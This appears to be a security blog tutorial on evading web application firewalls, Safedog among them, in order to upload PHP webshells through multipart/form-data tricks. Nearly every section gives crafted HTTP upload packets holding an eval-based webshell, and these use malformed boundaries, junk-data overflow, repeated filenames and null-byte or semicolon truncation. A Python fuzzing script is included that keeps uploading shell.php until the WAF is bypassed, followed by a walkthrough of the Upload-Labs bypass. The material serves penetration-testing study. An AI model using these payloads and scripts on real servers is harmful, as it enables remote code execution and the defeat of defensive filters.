Analysis of HTTP File Upload Packets
File upload is fundamentally a client-side POST request wherein the message body contains upload information. The front-end upload page must specify an enctype of multipart/form-data to permit a successful upload.
A typical file upload packet resembles the following:
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"
1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"
2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png
PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--
The following characteristics may be extracted from the above:
- The request header
Content-Typeexhibits these features:-
multipart/form-data– indicates that the request is a file upload request. - Presence of a
boundarystring – serves as a delimiter to separate POST data.
-
- The POST body contains:
-
Content-Disposition– a response header that indicates whether the content is expected to be displayed inline in the browser. -
name– the name of the HTML form field referenced by this part. -
filename– a string that holds the original name of the file being transmitted.
-
- The value of
boundaryin the POST body is the value declared inContent-Typeprefixed with two hyphens--, except for the final closing boundary. - The closing boundary appends two additional hyphens by default (in testing, removing the last boundary line does not prevent a successful upload).
Modifiable Elements in a File Upload Packet
- Content-Disposition – generally alterable.
- name – the form parameter value; should not be altered.
- filename – the file name; can be modified.
- Content-Type – the file MIME type; can be changed depending on context.
- boundary – the content delimiter; can be modified.
How WAFs Intercept Malicious Files
Consider how one might design a WAF. Defence may be approached from several angles:
- File name – parse the file name and determine whether it appears in a blacklist.
- File content – parse the file content to detect whether it constitutes a webshell.
- File directory permissions – typically requires a host-based WAF.
Currently, most common WAFs parse the file name; a minority, such as Chaitin, also inspect file content. The discussion below focuses on file‑name‑based interception.
The general process is as follows:
- Extract the
boundaryvalue from theContent-Typeheader of the request. - Using the boundary, parse the POST data to obtain the file name.
- Determine whether the file name falls within an interception blacklist or outside a whitelist.
Having understood how a WAF intercepts malicious files, I classify common bypass methods into the following categories. A demonstration using the latest version of Safedog concludes the article.
Character Mutations
Quotation Mark Variations
Values in header fields can be enclosed in single quotes, double quotes, or no quotes at all, without affecting the upload outcome.
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
It is also possible to omit the trailing quotation mark of the filename string, and the upload will still succeed.
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
Case Modifications
The following three fixed strings may be subjected to case changes:
Content-Dispositionnamefilename
For example, name may become Name, and Content-Disposition may become content-disposition.
Inserting Line Break Characters
Line breaks can be inserted between a field value and the equals sign; here the character [0x09] is used to represent a line break.
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
Multiple Semicolons
During file parsing, the presence of multiple semicolons may prevent the WAF from correctly extracting the file name, thereby enabling a bypass.
Content-Disposition: form-data; name="file_x";;; filename="test.php"
Multiple Equals Signs
Using multiple equals signs within the POST content has no effect on file upload.
Content-Disposition: form-data; name=="file_x"; filename===="test.php"
Altering the Content-Disposition Value
Some WAFs assume that the value of Content-Disposition must be form-data, which can lead to bypasses. In fact, Content-Disposition may be arbitrarily altered or left empty.
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"
Malformed Boundary Headers
The boundary can be mutated in the following ways without affecting the upload.
Normal boundary:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
Malformed boundary variations:
- The case of
multipart/form-datamay be changed:
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
- Spaces may separate
multipart/form-dataandboundary, and arbitrary content may be inserted between them:
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
- A comma may separate
multipart/form-dataandboundary, with arbitrary content inserted between:
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
- Arbitrary content may be inserted directly before the
boundarystring (feasible on PHP):
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
- At the end of the
boundary, a comma or semicolon may be used to separate and insert arbitrary content:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
Sequence Reversal
Swapping the Order of name and filename
Because Content-Disposition must appear first, only the order of name and filename can be reversed. Some WAFs may expect name before filename, enabling a bypass.
Content-Disposition: form-data; filename="xx.php"; name="file_x"
Swapping the Order of Content-Disposition and Content-Type
Similarly, the order of Content-Disposition and Content-Type can be exchanged.
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Swapping the Order of Different Boundary Contents
The contents of different boundary parts may also be reordered without affecting the upload.
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Data Repetition
Repetition of Boundary Content
The file ultimately uploaded is shell.php rather than shell.jpg. However, if only the first file name is extracted, a bypass may occur.
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
The following variant also achieves a successful upload:
------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
Repetition of filename
The final uploaded file name is shell.php. However, because the file name is extracted by matching the first occurrence, regular expressions will typically match the first instance.
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
Data Overflow
Inserting Junk Data Between name and filename
A large volume of junk data may be inserted between name and filename.
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Note: A semicolon must be placed after the large volume of junk data.
Inserting Junk Data into the Boundary String
The boundary string can contain arbitrary data (subject to length limitations). When the length exceeds what the WAF can process but the web server can still handle, the file upload may bypass the WAF.
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
Inserting Junk Data at the End of the Boundary
As mentioned previously, arbitrary data may be appended to the end of the boundary string; thus, a large volume of junk data can be added there.
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Inserting Junk Data Between multipart/form-data and boundary
Since it is possible to insert any data between multipart/form-data and boundary, a large volume of junk data can be placed there.
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Data Truncation
Carriage Return and Line Feed Truncation
POST request header values (not the header lines themselves) may contain line breaks, provided there are no blank lines. If the WAF stops matching the file name at a line break, a bypass can occur.
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"
Semicolon Truncation
If the WAF truncates the file name at a semicolon, a bypass can be achieved.
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
Quotation Mark Truncation
PHP versions prior to 5.3 exhibit single/double quote truncation behaviour.
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
Null Byte Truncation
In a URL, %00 represents the ASCII null character (0x00), which is reserved as a special character; when encountered, reading is terminated. Here [0x00] denotes the hexadecimal null byte.
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
Practical Demonstration – Bypassing Safedog File Upload Protection
Experimental Environment
- Target: Upload-Labs (Pass‑1)
- Database: MySQL 5.5
- Web script: PHP 5.4.19
- WAF: Safedog for Apache v4.0.3025
During testing, only the upload protection module of Safedog was enabled; otherwise, other modules could delete files from the target environment due to false positives.
Practical Case 1 – Writing a Fuzzing Script to Exploit Data Overflow
Given that the boundary string can accommodate a large volume of junk data, a fuzzing script was written to test whether the WAF could be bypassed.
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import random
url="http://hackrock.com:813/Pass-01/index.php"
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(10,8000,50):
stri = generate_random_str(i)
try:
headers = {
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
}
payload = """
------""" + stri + """
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------""" + stri + """
Content-Disposition: form-data; name="submit"
上传
------""" + stri + """--
"""
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print "\n"
#print payload
#print headers
if result.count('上传'):
print "Length is : %s " % str(i)
break
except:
print "."
The script was written using Python 2.7; ensure a Python 2 environment and the required libraries are installed.
The test result indicated that a boundary length of 3710 characters was effective:
Although the file was not actually uploaded to the server (due to the target environment’s restriction), the Safedog WAF was successfully bypassed.
The crafted packet was then sent via Burp Suite:
The bypass was achieved.
Practical Case 2 – Bypassing Using Null Byte Truncation
The file was uploaded while intercepting with Burp Suite, and the filename value was changed to: shell.php;.jpg
The hex view was then opened (the semicolon’s hexadecimal value is 0x3b), and 3b was altered to 00:
The packet was sent.
The bypass was successful.






Top comments (0)